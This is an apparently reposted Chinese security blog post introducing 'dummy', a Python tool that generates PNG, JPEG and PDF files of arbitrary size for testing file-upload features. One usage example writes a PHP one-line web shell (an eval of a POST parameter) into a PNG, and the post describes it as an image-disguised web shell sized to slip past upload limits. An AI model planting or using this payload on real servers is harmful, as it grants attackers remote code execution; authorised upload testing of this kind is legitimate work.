文件上传静态文件生成工具

admin 2023年10月20日02:15:19评论19 views字数 899阅读2分59秒阅读模式

1、工具简介

用于测试文件上传的静态文件生成器。可以生成任意字节的 png 文件。

文件上传静态文件生成工具

2、内容

在测试期间测试文件上传功能, 可通过此工具生成任意大小的png等文件,有的文件上传功能会限制不同大小的文件进行上传,此工具可方便生成文件进行测试。

安装

由于是用Python实现的,所以可以用pip命令安装。

pip install git+ssh://[email protected]/sterrasec/dummy.git

使用

命令输出以彩色显示。只需指定png、jpeg或pdf的文件路径,就会生成文件。

$ dummy test.jpeg

使用-t选项可写入指定内容,还可以在使用-b选项生成 png 文件时指定文件中的字节数。若要指定字节,可以使用 B、KB、MB 或 GB 作为单位。

$ dummy -t <?php @eval($_POST['sahx']);?> -b 1MB sahx.png

使用-h选项查看命令帮助

$ dummy -husage: dummy [-h] [-t TEXT] [-b BYTES] file_path
Create a dummy file for testing.
positional arguments: file_path Path to the generated file(.jpeg, .png, .pdf)
options: -h, --help show this help message and exit -t TEXT, --text TEXT Text to be written in the file -b BYTES, --bytes BYTES Bytes of file(.png only)

直接可使用命令写入一个图片马并且可指定大小,这对于测试来说很方便,对于有些限制图片大小上传的功能可根据具体大小进行生成图片马。

项目地址:

https://github.com/sterrasec/dummy/

免责声明:

本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责

原文始发于微信公众号(sahx安全从业记):文件上传静态文件生成工具

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月20日02:15:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   文件上传静态文件生成工具http://cn-sec.com/archives/2125544.html

发表评论

匿名网友 填写信息